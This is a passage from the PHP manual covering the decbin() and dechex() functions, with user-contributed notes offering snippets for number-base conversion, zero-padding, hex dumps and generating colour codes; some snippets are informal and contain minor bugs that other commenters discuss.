    for($b='',$r=$dec;$r>1;){
        $n = floor($r/2); $b = ($r-$n*2).$b; $r = $n; // $r%2 is inaccurate when using bigger values (like 11.435.168.214)!
    }
    return ($r%2).$b;
}
?>
Nitrogen 21-Jul-2009 10:30
Decimal to Binary conversion using the BCMath extension.

<?php

function BCDec2Bin($Input='') {
 $Output='';
 if(preg_match("/^\d+$/",$Input)) {
   while($Input!='0') {
     $Output.=chr(48+($Input{strlen($Input)-1}%2));
     $Input=BCDiv($Input,'2');
   }
   $Output=strrev($Output);
 }
 return(($Output!='')?$Output:'0');
}

?>

This will simply convert from Base-10 to Base-2 using BCMath (arbitrary precision calculation).

See also: my 'BCBin2Dec' function on the 'bindec' document.
Enjoy,
Nitrogen.
Kay 04-Oct-2008 05:04
I think this is the best function. Is almost endlessy (till 2^50 or something)

<?php
function bin($int)
{
    $i = 0;
    $binair = "";
    while($int >= pow(2,$i))
    {
        $i++;
    }

    if($i != 0)
    {
        $i = $i-1; //max i
    }

    while($i >= 0)
    {
        if($int - pow(2,$i) < 0)
        {
            $binair = "0".$binair;
        }else{
            $binair = "1".$binair;
            $int = $int - pow(2,$i);
        }

        $i--;
    }
    return $binair;
}

$getal = $_GET['getal'];

echo bin($getal);
?>
avenger at avenger dot ws 24-Aug-2008 06:25
Careful trying binary-wise tests with integers:

# FFFFFFFF
command: php -r 'print(decbin(4294967295)."\n");'
result: 11111111111111111111111111111111

# C3E9CAC8
command: php -r 'print(decbin(3286878920)."\n");'
result: 11000011111010011100101011001000

# regardless of specifying "(int)", using bitwise AND:
command: php -r 'print((int)(3286878920 & 4294967295)."\n");'
result: -1008088376 (int)

# now the expected result will happen (guess the performance impact)
command: php -r 'print(bindec(decbin((3286878920 & 4294967295)))."\n");'
result: 3286878920 (float)

additional note: if you "bitwise and" some random bits with a sequence of 1-bit of the same length, the expected result is the same "random bits sequence" unchanged. If you want to keep this in the integer world for faster comparisons, you risk messing your result for the signed integer size limitation. The maximum value you can use for the desired result is (7FFFFFFF -- or integer 2147483647), half of the maximum 'unsigned' integer 32-bit(platform-dependent) value.
darkshad3 at yahoo dot com 15-Feb-2007 03:15
<?php
Print bindecValues("1023");

function bindecValues($decimal, $reverse=false, $inverse=false) {
/*
1. This function takes a decimal, converts it to binary and returns the
     decimal values of each individual binary value (a 1) in the binary string.
     You can use larger decimal values if you pass them to the function as a string!
2. The second optional parameter reverses the output.
3. The third optional parameter inverses the binary string, eg 101 becomes 010.
-- darkshad3 at yahoo dot com
*/

    $bin = decbin($decimal);
    if ($inverse) {
        $bin = str_replace("0", "x", $bin);
        $bin = str_replace("1", "0", $bin);
        $bin = str_replace("x", "1", $bin);
    }
    $total = strlen($bin);

    $stock = array();

    for ($i = 0; $i < $total; $i++) {
        if ($bin{$i} != 0) {
            $bin_2 = str_pad($bin{$i}, $total - $i, 0);
            array_push($stock, bindec($bin_2));
        }
    }

    $reverse ? rsort($stock):sort($stock);
    return implode(", ", $stock);
}
?>

The printed result is : 1, 2, 4, 8, 16, 32, 64, 128, 256, 512
heavyraptor 27-Jul-2006 08:18
I wrote the decoder for the output of Xavier Daull's function "BinString2BinSequence".

<?php
function bs2string($bitseq) {
  if (strlen($bitseq) % 8 != 0) return false;
  $str = "";
  $bitseqlen = strlen($bitseq);
  for($i = 0; $i < $bitseqlen; $i += 8) {
   $str .= chr(bindec(substr($bitseq,$i,8)));
  }
  return $str;
}
?>

Have fun
Xavier Daull 04-Feb-2006 02:57
A fast function to convert a binary string to a bit sequence

<?php

function BinString2BitSequence($mystring) {
    $mybitseq = "";
    $end = strlen($mystring);
    for($i = 0 ; $i < $end; $i++){
        $mybyte = decbin(ord($mystring[$i])); // convert char to bit string
        $mybitseq .= substr("00000000",0,8 - strlen($mybyte)) . $mybyte; // 8 bit packed
    }
    return $mybitseq;
}

echo BinString2BitSequence("ABCDEF"); // OUTPUT=010000010100001001000011010001000100010101000110

?>
06-Jan-2006 06:29
Just an example:
If you convert 26 to bin you'll get 11010, which is 5 chars long. If you need the full 8-bit value use this:

$bin = decbin(26);
$bin = substr("00000000",0,8 - strlen($bin)) . $bin;

This will convert 11010 to 00011010.
j dot preece at gmail dot com 03-Jan-2006 05:00
It occured to me there must be a simple way to produce binary numbers from decimal ones with any number of bits, here's my attempt at a decimal to extended binary function. I hope the comments make it clear:

<?php

function decextbin($decimalnumber,$bit)
{
    /* decextbin function
            by James Preece (j.preece@gmail.com)
            http://www.lovingit.co.uk

    Please feel free to use this function. If you find
    if useful I would love to hear from you.
    */

    /* Function to return a binary number with as many
    bits as are requested...

    This works on the following principal. A binary number
    represents a figure 2,4,8,16 etc. If we work from the
    top down we can determine if a number contains each figure
    as a fraction and then work with what remains.

    For example, if we wish to display the number 10 as a 4 bit
    number we first discover the figure of the maximum bit by doubling
    four times:

    1 2 4 8

    The maxiumum figure is 8.

    Next we work down the figures:

    8 goes in to 10 so the first digit is 1 leaving 2
    4 does not go in to 2 so the second digit is 0
    2 goes in to 2 so the third digit is 1
    1 does not go in to 0 so the fourth digit is 0

    Output: 1010

    Now for the actual code!

    First we find that maximum value represented by the
    leftmost binary digit. For error checking purposes
    we also calulate the maximum number we can display
    using the number of bits requested:        */

    $maxval = 1;
    $sumval = 1;
    for($i=1;$i<$bit;$i++)
    {
        $maxval = $maxval * 2;
        $sumval = $sumval + $maxval;
    }

    /* Using our sumval we now check if it is possible
    to display the decimal number our function received: */

    if ($sumval < $decimalnumber) return 'ERROR - Not enough bits to display this figure in binary.';

    /* Then we work down through the figures, to get a
    better idea of how this works remove the commenting
    from the echo lines */

    for($bitvalue=$maxval;$bitvalue>=1;$bitvalue=$bitvalue/2)
    {
            //echo 'Bit Value: '.$bitvalue.'<br />';
            //echo 'Decimal Number: '.$decimalnumber.'<br />';

        if (($decimalnumber/$bitvalue) >= 1) $thisbit = 1; else $thisbit = 0;

            //echo 'This Bit: '.$thisbit.'<br /><br />';

        if ($thisbit == 1) $decimalnumber = $decimalnumber - $bitvalue;

    $binarynumber .= $thisbit;
    }

    /* Finally we return the output... */

return $binarynumber;
}

?>

An example usage might be like so:

<?php

for ($i = 0;$i<=8;$i++)
{
    echo decextbin($i,4).'<br />';
}

?>

Output:

0000
0001
0010
0011
0100
0101
0110
0111
1000

No need for padding or anything - also goes way over 32 bits. Huzzah. I suspect its limited by the maximum string length in php. Hmmm - Not sure what that is.
Stefan 02-Mar-2005 11:35
matt at nexxmedia dot com (06-Dec-2002 04:29) said:
<?php
...
strrev(str_pad(decbin($decval),8,"0",STR_PAD_LEFT));
...
?>

<?php
str_pad(decbin ($decval),8,'0');
?>

produces the same results!
08-Feb-2005 07:27
base_convert( base_convert('100001000100000000010001001000
0100100000001111111111111111111',2,10),10,2);

return
'1000010001000000000100010010000
100100000010000000000000000000'

this function doesn't work
27-Nov-2004 07:26
<?php // function for converting values >= 2147483648 (2^16)
  function decbin4long($long) {
    return base_convert($long,10,2);
  } // idea from http://phpclub.ru/talk/showthread.php?postid=407488
?>
gene_wood at example dot com 15-Oct-2003 02:38
This is just an extension off of the first comment. This is a pair of function to convert from an array of binary values to an integer and vice versa. It has a touch of error checking.

/**
* Will convert an array of binary values into an integer for storage
*
* @param        array       $data_array     Array of 31 or less binary values
* @return       integer                     Encoded integer
*/
function array_to_binary_int($data_array) {
    if (count($data_array) > 31) return FALSE;
    foreach ($data_array as $key => $value) {
        if ($value) $data_array[$key] = 1;
        if (!$value) $data_array[$key] = 0;
    }
    $binstring = strrev(implode('', $data_array));
    $bit_integer = bindec($binstring);
    return $bit_integer;
}

/**
* Will convert a stored integer into an array of binary values
*
* @param        integer       $data_integer     Encoded integer
* @return       integer                         Array of binary values
*/
function binary_int_to_array($data_integer) {
    if (($data_integer > 2147483647) OR ($data_integer < 0)) return FALSE;
    $binstring = strrev(str_pad(decbin ($data_integer),31,"0",STR_PAD_LEFT));
    $bitarray = explode(":",chunk_split($binstring, 1, ":"));
    return $bitarray;
}
php at silisoftware dot com 28-Feb-2002 07:15
Another larger-than-31-bit function.
Works for very large numbers, but at the expense of perfect bit-precision as the size increases (I noticed rounding errors past 16 or so decimal places) so use with caution, and only when decbin() won't cut it.

function Dec2Bin($number) {
    while ($number >= 256) {
        $bytes[] = (($number / 256) - (floor($number / 256))) * 256;
        $number = floor($number / 256);
    }
    $bytes[] = $number;
    for ($i=0;$i<count($bytes);$i++) {
        $binstring = (($i == count($bytes) - 1) ? decbin($bytes[$i]) : str_pad(decbin($bytes[$i]), 8, "0", STR_PAD_LEFT)).$binstring;
    }
    return $binstring;
}
ajl at gmx dot de 08-Oct-2001 01:47
HERE you can convert 64bit instead of 32bit with the standard decbin
<?
function bigdecbin($dec,$doublewords=1) {
    $erg = "";
    do {
          $rest = $dec%2147483648;
          if ($rest<0) $rest+=2147483648;
          $erg = str_pad(decbin($rest),31,"0",STR_PAD_LEFT).$erg;
          $dec = ($dec-$rest)/2147483648;
      } while (($dec>0)&&(!($dec<1)));

      return str_pad($erg,$doublewords*31,"0",STR_PAD_LEFT);
}

echo "<pre>";
for ($i=1.5*2147483647.0-10;$i<1.5*2147483647.0+10;$i++) {
    echo "DEC:".$i." BIN:".bigdecbin($i,2)."<br>";
}
echo "</pre>";
?>
cosh
dechex
Math Functions


Decimal to hexadecimal

decbin
decoct
Math Functions
PHP Manual

dechex

(PHP 4, PHP 5)

dechex — Decimal to hexadecimal

Description

string dechex ( int $number )

Returns a string containing a hexadecimal representation of the given number argument. The largest number that can be converted is 4294967295 in decimal resulting to "ffffffff".

Parameters

number

Decimal value to convert

Return Values

Hexadecimal string representation of number

Examples

Example #1 dechex() example

<?php
echo dechex(10) . "\n";
echo dechex(47);
?>

The above example will output:

a
2f

See Also

  • hexdec() - Hexadecimal to decimal
  • decbin() - Decimal to binary
  • decoct() - Decimal to octal
  • base_convert() - Convert a number between arbitrary bases

User Contributed Notes

9381904 at gmail dot com 01-Nov-2011 10:11
for mac address
<?php
function dec2mac($mac) {
   $mac=preg_split("([.])", $mac, 6);
   $hexmac="";
   foreach ($mac as $part)
   {
   $part=dechex($part);
   strlen($part)<2 ? $hexmac.="0$part" : $hexmac.=$part;
   }
   return $hexmac;
}
echo dec2mac("0.29.96.71.60.137"); // 001d60473c89
?>
Rod 13-Jan-2011 04:50
After numerous hours of trying to actually receive a hexadecimal digit from dechex, I decided to give it a go myself.

I kept trying to do bitwise comparisons on the result however I was comparing strings,

<?php
function dectohex($dec){
   $code='return 0x'.dechex($dec).';';
   return eval($code);
}
?>

This actually returns a hexadecimal value, not a string representation.

Hopefully this saves someone else a couple of hours.
jpfstange at gmail dot com 02-Sep-2010 08:33
<?php

        /**
        * String to HEX | HEX to String. Automatic detection.
        * This script just takes input from the command line
        * and transforms an ASCII String to HEX or viceversa.
        * If you want to use it in a web page just change the $str variable below.
        * Cheers, Juan Stange.-
        */

        $str = $_SERVER["argv"][1];

        function hexEncode($str=NULL){

                if(is_null($str)){
                        return FALSE;
                }

                $hexStr = "";

                for($i=0;isset($str[$i]);$i++){
                        $char = dechex(ord($str[$i]));
                        $hexStr .= $char;
                }

                return "0x".$hexStr;

        }

        function asciiEncode($str=NULL){

                if(!preg_match("/^0x[A-Fa-f0-9]+/",$str)){
                        return FALSE;   //Not a hex string
                }

                $str = substr($str,2);
                $asciiString = "";

                for($i=0;isset($str[$i]);$i+=2){
                        $hexChar = substr($str,$i,2);
                        $asciiString .= chr(hexdec($hexChar));
                }

                return $asciiString;

        }

        $return = ($encoded=asciiEncode($str)) ? $encoded : hexEncode($str);

        echo $return."\n";

?>
jbleau at gmail dot com 29-Oct-2008 02:23
I was confused by dechex's size limitation. Here is my solution to the problem. It supports much bigger values, as well as signs.

<?php
function dec_to_hex($dec)
{
    $sign = ""; // suppress errors
    if( $dec < 0){ $sign = "-"; $dec = abs($dec); }

    $hex = Array( 0 => 0, 1 => 1, 2 => 2, 3 => 3, 4 => 4, 5 => 5,
                  6 => 6, 7 => 7, 8 => 8, 9 => 9, 10 => 'a',
                  11 => 'b', 12 => 'c', 13 => 'd', 14 => 'e',
                  15 => 'f' );

    do
    {
        $h = $hex[($dec%16)] . $h;
        $dec /= 16;
    }
    while( $dec >= 1 );

    return $sign . $h;
}
?>
mountarreat at gmail dot com 11-May-2008 09:55
I was challenged by a problem with large number calculations and conversion to hex within php. The calculation exceeded unsigned integer and even float range. You can easily change it for your needs but it is, thanks to bcmath, capable of handling big numbers via string. This function will convert them to hex.

In this specific example though, since I use it for game internals that can only handle 32 bit numbers, it will truncate calculations at 8 digits. If the input is 1 for example it will be filled up with zeros. Output 00000001h.

Of course I don't claim it to be a good one, but it works for me and my purpose. Suggestions on faster code welcome!

<?php
// Turns numbers into 32-bit hex string; Fills up zeros
function lrgDec2Hex($number)
{
    $i = 0;
    $hex = array();

    while($i < 8) {
        if($number == 0) {
            array_push($hex, '0');
        }
        else {
            array_push($hex, strtoupper(dechex(bcmod($number, '16'))));
            $number = bcdiv($number, '16', 0);
        }
        $i++;
    }
    krsort($hex);
    return implode($hex);
}
?>
sjaak at spoilerfreaks dot com 09-Mar-2007 07:28
To force the correct usage of 32-bit unsigned integer in some functions, just add '+0'  just before processing them.

for example
<?php echo(dechex("2724838310")); ?>
will print '7FFFFFFF'
but it should print 'A269BBA6'

When adding '+0' php will handle the 32bit unsigned integer
correctly
<?php echo(dechex("2724838310"+0)); ?>
will print 'A269BBA6'
brent 15-Dec-2006 11:33
Be very careful calling dechex on a number if it's stored in a string.

For instance:

The max number it can handle is 4294967295 which in hex is FFFFFFFF, as it says in the documentation.

dechex(4294967295) => FFFFFFFF //CORRECT

BUT, if you call it on a string of a number, it casts to int, and automatically gives you the largest int it can handle.

dechex('4294967295') => 7FFFFFFF //WRONG!

so you'll need to cast to a float:

dechex((float) '4294967295') => FFFFFFFF //CORRECT

This took me FOREVER to figure out, so hopefully I just saved someone some time.
foros at basnek dot com 24-Jul-2006 09:13
I leave code blocks them that I have made to be able to replace the content of certain blocks of JS that used eval () I hope serves to them.

<?php
// Convert hex 2 str
// Imput Example: \x68\x6f\x6c\x61\x20\x6d\x75\x6e\x64\x6f
$que=( isset( $_POST['hexadecimal'] ) )?$_POST['hexadecimal']:"";
$valores=explode( "\\\x", $que );
for ( $i=0; $i<count( $valores ) ; $i++) {
    echo chr(  hexdec( $valores[$i] ) ) ;
}

// Convert str 2 hex
// Imput Example: hola mundo
$que=( isset( $_POST['ascii'] ) )?$_POST['ascii']:"";
for ( $i=0; $i<strlen( $que ) ; $i++) {
    echo "\\x".dechex( ord( substr( $que, $i, 1) ) ) ;
}
?>
Mista-NiceGuy at web dot de 28-Dec-2005 05:00
These are functions to convert roman numbers (e.g. MXC) into dec and vice versa.
Note: romdec() does not check whether a string is really roman or not. To force a user-input into a real roman number use decrom(romdec($input)). This will turn XXXX into XL for example.

<?php
    function decrom($dec){
        $digits=array(
            1 => "I",
            4 => "IV",
            5 => "V",
            9 => "IX",
            10 => "X",
            40 => "XL",
            50 => "L",
            90 => "XC",
            100 => "C",
            400 => "CD",
            500 => "D",
            900 => "CM",
            1000 => "M"
        );
        krsort($digits);
        $retval="";
        foreach($digits as $key => $value){
            while($dec>=$key){
                $dec-=$key;
                $retval.=$value;
            }
        }
        return $retval;
    }

    function romdec($rom){
        $digits=array(
            "I" => 1,
            "V" => 5,
            "X" => 10,
            "L" => 50,
            "C" => 100,
            "D" => 500,
            "M" => 1000
        );
        $retval="";
        $chars=array();
        for($i=1;$i<=strlen($rom);$i++){
            $chars[]=substr($rom,$i-1,1);
        }
        $step=1;
        for($i=count($chars)-1;$i>=0;$i--){
            if(!isset($digits[$chars[$i]])){ return "Error!"; }
            if($step<=$digits[$chars[$i]]){
                $step=$digits[$chars[$i]];
                $retval+=$digits[$chars[$i]];
            }
            else{
                $retval-=$digits[$chars[$i]];
            }
        }
        return $retval;
    }

    echo decrom(romdec("XXXX"));
?>
cory at lavacube dot com 27-Oct-2005 04:45
A handy little function to convert HEX colour codes to "web safe" colours...

<?php

function color_mkwebsafe ( $in )
{
    // put values into an easy-to-use array
    $vals['r'] = hexdec( substr($in, 0, 2) );
    $vals['g'] = hexdec( substr($in, 2, 2) );
    $vals['b'] = hexdec( substr($in, 4, 2) );

    // loop through
    foreach( $vals as $val )
    {
        // convert value
        $val = ( round($val/51) * 51 );
        // convert to HEX
        $out .= str_pad(dechex($val), 2, '0', STR_PAD_LEFT);
    }

    return $out;
}

?>

Example: color_mkwebsafe('0e5c94');
Produces: 006699

Hope this helps someone out... Happy coding. :-)
michael at m-ganzer dot de 18-Jul-2005 06:58
simple, non-recursive way of zerofilling (why making everything complicated, there r more than enough inbuilt functions)

function zfill($n,$a) {
  return str_repeat("0",max(0,$a-strlen($n))).$n;
}

"max(0,..." as multiplier inside of "str-repeat" is preventing an error with negative values, if the string length was already higher than the accuracy parameter for zfill.

have fun! :)
trance4rm 17-Jul-2005 01:08
a bugfix for admin AT bobfrank DOT org' s post

The original was:
<?php
function zeropad($num, $lim)
{
   return (strlen($num) >= $lim) ? $num : zeropad("0" . $num);
}
?>

I couldn't get it to work, kept getting a "Missing argument 2 for zeropad()" error, even though I called the function with both arguments -- then I noticed the recursive part, and the missing $lim argument.  The code that works is:

<?php
function zeropad($num, $lim)
{
   return (strlen($num) >= $lim) ? $num : zeropad("0" . $num, $lim);     // $lim was missing from the recursive call

// the function will prefix $num with a zero and recursively call itself
// each recursive call, $num gets one digit bigger until strlen of $num  equals $lim
}
?>
oliver at realtsp dot com 14-Jun-2005 01:46
Warning for use on 64 bit machines! The Extra length matters!

32bit machine:
php -r 'echo dechex(4294967295);'
output: ffffffff

64bit machine:
php -r 'echo dechex(4294967295);'
output: ffffffff

so far it is ok. But for slightly bigger numbers:

32bit machine:
php -r 'echo dechex(4294967296);'
output: 0

64bit machine:
php -r 'echo dechex(4294967296);'
output: 100000000

note the difference!

This is particularly important when converting negative numbers:

64bit machine:
php -r 'echo dechex(-1);'
output: ffffffffffffffff

32bit machine:
php -r 'echo dechex(-1);'
output: ffffffff

If you want your code to be portable to amd64 or xeons (which are now quite popular with hosting companies) then you must ensure that your code copes with the different length of the result for negative numbers (and the max value, although that is probably less critical).
jrisken at mn dot rr dot com 28-May-2005 07:33
A less elegant but (perhaps) faster way to pad is with substr with a negative length argument. I use it in this tiny function which formats computed rgb color codes for style sheets:
<?
function toColor($n)
{
return("#".substr("000000".dechex($n),-6));
}
?>
admin AT bobfrank DOT org 01-May-2005 07:28
Here is a very small zeropadding that you can use for numbers:

function zeropad($num, $lim)
{
   return (strlen($num) >= $lim) ? $num : zeropad("0" . $num);
}

zeropad("234",6);

will produce:
000234

zeropad("234",1);

will produce:
234
matt dot smith at email dot ky 21-Apr-2005 09:14
It took me hours, but I've finally figured it all out...

--
To figure up how many lines it'll take to get from,
0000 to FFFF, use this formula:
((hex_length / 2) * 255) + 1

For 0000 to FFFF, this would be: ((4 / 2) * 255) + 1 = 511
For 0000000000 to FFFFFFFFFF, this would be: ((10 / 2) * 255) + 1 = 1276

--
To figure up how many possibilities a certain hex length will give (such as that of an MD5 hash, for example), use this formula:
256^(hex_length / 2)

Like so:
hex = 0123ABCDEF
hex_length = 10
possibilities = 256^(10 / 2)
possibilities = 256^5
possibilities = 1,099,511,627,776

--
And I don't know how useful this next part is, but it's quite nifty. Just set $length to be your hex_length and it'll display all "incrementally-possible" hexadecimals, along with line numbers:

<?php
$length = 10; // Change this to the total length of your hexadecimal

function array_check($array1, $array2)
{
    $count1 = count($array1);
    $count2 = count($array2);

    if ($count1 != $count2)
        return FALSE;

    $match = 0;
    for ($i = 0; $i < $count1; $i++)
        if ($array1[$i] == $array2[$i])
            $match++;

    if ($match != $count1)
        return FALSE;

    return TRUE;
}

function zeropad($num)
{
    return (strlen($num) == 1) ? '0'.$num : $num;
}

function zeropad_lineno($num, $length)
{
    while (strlen($num) < $length)
        $num = '0'.$num;

    return $num;
}

$hexadecimals = $length / 2;
$possibilities = /*number_format(*/ pow(256, $hexadecimals) /*)*/;

echo "A hexadecimal of this length ({$length}) has {$possibilities} possibilities.<br>\n";
echo "<br>\n";

//init
for ($i = 0; $i < $hexadecimals; $i++)
{
    $x[] = '00';
    $xint[] = 0;

    $end[] = 'ff';
}

$line = 0;
while ( !(array_check($x, $end)) ) // while we're not currently at the end (FF..)
{
    $hexstr = '';
    for ($i = 0; $i < $hexadecimals; $i++)
    {
        $x[$i] = dechex($xint[$i]);
        $hexstr .= zeropad(dechex($xint[$i]));
    }

    $line++;
    $linestr = zeropad_lineno($line, 8);
    echo "<code>{$linestr}: {$hexstr}</code><br>\n";

    // hex increment
    for ($i = ($hexadecimals - 1); $i >= 0; $i--)
    {
        // increment bit if possible
        if ($xint[$i] != 255)
        {
            // increment bit and then break out of the for loop
            $xint[$i]++;
            break;
        }
    }
}
?>
manithu 29-Mar-2005 12:18
If you want to fade some text from one color to another, use this function:

<?php

function colorFade($text, $color1, $color2, $HTMLelement = 'span')
{
    //remove leading and trailing whitespaces.
    $text = trim($text);

    //split the characters of the text to an array.
    $char = array();
    for ($i = 0; $i < strlen($text); $i++) {
        $char[$i] = substr($text, $i, 1);
    }
    //convert the hexadecimal colors in decimal.
    $decimalColor = array();
    //first color
    $decimalColor[0] = hexdec(substr($color1, 0, 2));
    $decimalColor[1] = hexdec(substr($color1, 2, 2));
    $decimalColor[2] = hexdec(substr($color1, 4, 2));
    //second color
    $decimalColor[3] = hexdec(substr($color2, 0, 2));
    $decimalColor[4] = hexdec(substr($color2, 2, 2));
    $decimalColor[5] = hexdec(substr($color2, 4, 2));

    //formated chars are stored here (the key 0 is for the first
    //char and must not be removed).
    $newText = array(0 => null);
    //run over every character except the first and the last,
    //they will be added later.
    for ($i = 2; $i <= strlen($text)-1; $i++) {
        //check if the character is only a whitespace. If yes,
        //save the whitespace without adding color and proceed
        //to the next character.
        if (!trim($char[$i-1])) {
            $newText[] = $char[$i-1];
            continue;
        }
        //calculate the (hex) color for this character.
        $color = array();
        //red
        $color[] = dechex(($decimalColor[0] - $decimalColor[3])
                   / strlen($text) * $i + $decimalColor[3]);
        //green
        $color[] = dechex(($decimalColor[1] - $decimalColor[4])
                   / strlen($text) * $i + $decimalColor[4]);
        //blue
        $color[] = dechex(($decimalColor[2] - $decimalColor[5])
                   / strlen($text) * $i + $decimalColor[5]);

        //check if every color part is 2 chars long, if not, repeat it.
        foreach ($color as $k => $v) {
            if (strlen($v) < 2) {
                $color[$k] = str_repeat($v, 2);
            }
        }
        //merge the parts to the full hex color.
        $color = implode($color, '');

        //Save the formated char.
        $newText[] = '<'.$HTMLelement.' style="color:#'.$color.'">'.
                     $char[$i-1].'</'.$HTMLelement.'>';
    }
    //add first char.
    $newText[0] = '<'.$HTMLelement.' style="color:#'.$color2.'">'.
                  $char[0].'</'.$HTMLelement.'>';
    //add last char.
    $newText[]  = '<'.$HTMLelement.' style="color:#'.$color1.'">'.
                  $char[strlen($text)-1].'</'.$HTMLelement.'>';

    //merge the characters and return it.
    return implode($newText, '');
}

?>

$color1 is the start color, $color2 the end color.

I hope this helps somebody.
morten at nilsen dot com 02-Jan-2005 04:30
I see a lot of less-than-optimal functions posted on this page, so I feel I have to give some better examples...
due to the sheer size of this collection, I have made it available on my server, rather than copy/paste it into these comments.

http://ryo-ohki.4th-age.com/demos/able.php
and
http://ryo-ohki.4th-age.com/demos/able.phps

dechex replacement function from above source:
<?php
  define('BIT_BYTE', 8); // bits per byte
  define('HEX_BYTE', BIT_BYTE/4); // hex digits in a byte

  define('BIT_INT',  32); // sizeof(int)
  define('HEX_INT',  BIT_INT / (BIT_BYTE/HEX_BYTE)); // hex digits in an int

  function i2h($int, $group=HEX_BYTE, $size=HEX_INT, $sep=' ') {
    $ret = '';
    while($size--) {
      $n=($int>>($size*4)) & 0xf;
      $ret .= $n>9?chr(55 + $n):$n;
      if($size && $size%$group == 0) $ret .= $sep;
    }
    return $ret;
  }

  echo i2h(rand(1,2)==1?-mt_rand():mt_rand());
?>
wangster at darkcore dot net 14-Dec-2004 11:36
This function will take a string and convert it into a hexdump.

e.g.

3c666f6e 74207369 7a653d22 33223e4c  <font.size."3">L
6561726e 20686f77 20746f20 62652061  earn.how.to.be.a

function hexdump($string) {
   $hex="";
   $substr = "";
   for ($i=0; $i < strlen($string) ;$i++) {
     if(!($i % 4) && $i != 0) {
       $hex .= " ";
     }
     if(!($i % 16) && $i != 0) {
       $clean = preg_replace("/[^a-zA-Z0-9!-.<>\/]/",".",$substr);
       $hex .= " ".htmlentities($clean)."\n";
       $substr = "";
     }
     $substr .=  $string[$i];
     $hex .= dechex(ord($string[$i]));
   }
   return $hex;
}
12-Dec-2004 07:31
If you need to generate random HEX-color, use this:
<?php
function random_hex_color(){
    return sprintf("%02X%02X%02X", mt_rand(0, 255), mt_rand(0, 255), mt_rand(0, 255));
}
$hex = random_hex_color(); // 09B826
?>

Enjoy.
11-Dec-2004 01:30
If you need to convert RGB-color into HEX-color, use this:
<?php
function rgb2hex($rgb){
    return sprintf("%06X", $rgb);
}
$hex = rgb2hex(65280); // 00FF00
?>
Ruben Barkow ( at web dot de) 23-May-2004 11:46
this function generates an hex-colorcode out of a string.
usefull if you want to show a list of words all in different colors, that should remain its color even if the order changes.
(if the string is empty, it gives back a random color)

function word2color($w){
if (strlen($w)==0) return substr('00000' . dechex(mt_rand(0, 0xffffff)), -6);
while (strlen($w)<6) $w.=$w;
$minbrightness=1;  // range from 0 to 15, if this is 0 then for ex. black is allowed
$max_brightness=14; // range from 0 to 15, if this is 15 then for ex. white is allowed
$plus_red=0;    // set one of these to set the probability of one of these colors higher
$plus_green=0;
$plus_blue=0;
for ($i=0; $i<6; $i++) {
    #$r.= '">';// this is a depug mode, to see the color written
    $plus=0;
    if ($plus_red<>0 and $i==0) $plus=$plus_red;
    if ($plus_green<>0 and $i==2) $plus=$plus_green;
    if ($plus_blue<>0 and $i==4) $plus=$plus_blue;
    $c=$w[round(strlen($w)/6*$i)];
    $dec=ord($c)%($max_brightness+$plus-$minbrightness) +$minbrightness+$plus;
    if ($dec>$max_brightness-$minbrightness) $dec=$max_brightness-$minbrightness;
    $r.= strtoupper( dechex($dec) );
}
return $r;
}
admin[TAKETHISOUT] at torsoft dot no-ip dot com 21-Apr-2004 12:01
<?php
/*
here are two functions, some might find them useful (maybe for encoding)
converting string to hex and hex to string:
*/

function strhex($string)
{
    $hex="";
    for ($i=0;$i<strlen($string);$i++)
        $hex.=(strlen(dechex(ord($string[$i])))<2)? "0".dechex(ord($string[$i])): dechex(ord($string[$i]));
    return $hex;
}
function hexstr($hex)
{
    $string="";
    for ($i=0;$i<strlen($hex)-1;$i+=2)
        $string.=chr(hexdec($hex[$i].$hex[$i+1]));
    return $string;
}
?>
daevid at daevid dot com 18-Mar-2004 02:59
Here's my version of a red->yellow->green gradient:

<?php
function colorMeter($percent, $invert = false)
{
    //$percent is in the range 0.0 <= percent <= 1.0
    //    integers are assumed to be 0% - 100%
             // and are converted to a float 0.0 - 1.0
    //     0.0 = red, 0.5 = yellow, 1.0 = green
    //$invert will make the color scale reversed
    //     0.0 = green, 0.5 = yellow, 1.0 = red

    //convert (int)% values to (float)
    if (is_int($percent)) $percent = $percent * 0.01;

    $R = min((2.0 * (1.0-$percent)), 1.0) * 255.0;
    $G = min((2.0 * $percent), 1.0) * 255.0;
    $B = 0.0;

    return (($invert) ?
sprintf("%02X%02X%02X",$G,$R,$B)
: sprintf("%02X%02X%02X",$R,$G,$B));
} //colorMeter
?>

and use it like this:

<TABLE BORDER=1 WIDTH="300">
<?php
for ($i = 0.0; $i <= 1.0; $i += 0.10)
{
    $RGB = colorMeter($i);
    print "<TR><TD BGCOLOR='".$RGB."'>".$i."</TD><TD>
<PRE>".$RGB."</PRE></TD></TR>\n";
}
?>
</TABLE>

<P>

<TABLE BORDER=1 WIDTH="300">
<?php
for ($i = 0; $i <= 100; $i += 10)
{
    $RGB = colorMeter(intval($i), true);
    print "<TR><TD BGCOLOR='".$RGB."'>".$i."</TD><TD>
<PRE>".$RGB."</PRE></TD></TR>\n";
}
?>
</TABLE>
thr at recide dot net 09-Feb-2004 04:39
/*
* RGB-Colorcodes(i.e: 255 0 255) to HEX-Colorcodes (i.e: FF00FF)
*/
function rgb2hex($rgb){
    if(!is_array($rgb) || count($rgb) != 3){
        echo "Argument must be an array with 3 integer elements";
        return false;
    }
    for($i=0;$i<count($rgb);$i++){
        if(strlen($hex[$i] = dechex($rgb[$i])) == 1){
            $hex[$i] = "0".$hex[$i];
        }
    }
    return $hex;
}
/* Example */
print_r(rgb2hex(array(10,255,255)));
mina86 at tlen dot pl 05-Feb-2004 09:05
Easiest :P way to create random hex color:

<?php
function rand_color() {
    return substr('00000' . dechex(mt_rand(0, 0xffffff)), -6);
}
?>
paeppi at actionorg dot de 29-Dec-2003 10:53
Easier way to create random hex color:

<?php

function rand_color() {
    $hexcolor = dechex(mt_rand(0,16777215));

    while (strlen($hexcolor) < 6) {
        $hexcolor = $hexcolor."0";
    }
    return $hexcolor;
}

echo "#".rand_color();
?>
huda m elmatsani <justhuda at netscape dot net> 16-Sep-2003 03:36
Create Random Hex Color:

function make_seed() {
   list($usec, $sec) = explode(' ', microtime());
   return (float) $sec + ((double) $usec * 100000);
}

function rand_hex() {
   mt_srand(make_seed());
   $randval = mt_rand(0,255);
   //convert to hex
   return sprintf("%02X",$randval);
}

function random_color(){
   return "#".rand_hex().rand_hex().rand_hex();
}

hme ;)
paeppi at actionorg dot de 04-Aug-2003 07:42
# One example how to convert a decimal number into any other system (here 32 digits -- 0 to v) and how to convert back.
# Just replace the "32" in my functions with the number of digits in "your" system, and continue the replace-lists.
# This is surely not the very best way to do this, but it hopefully helps :-)

function decttw($int_dec) {
    $s = $int_dec;
    while ($i < 19) {
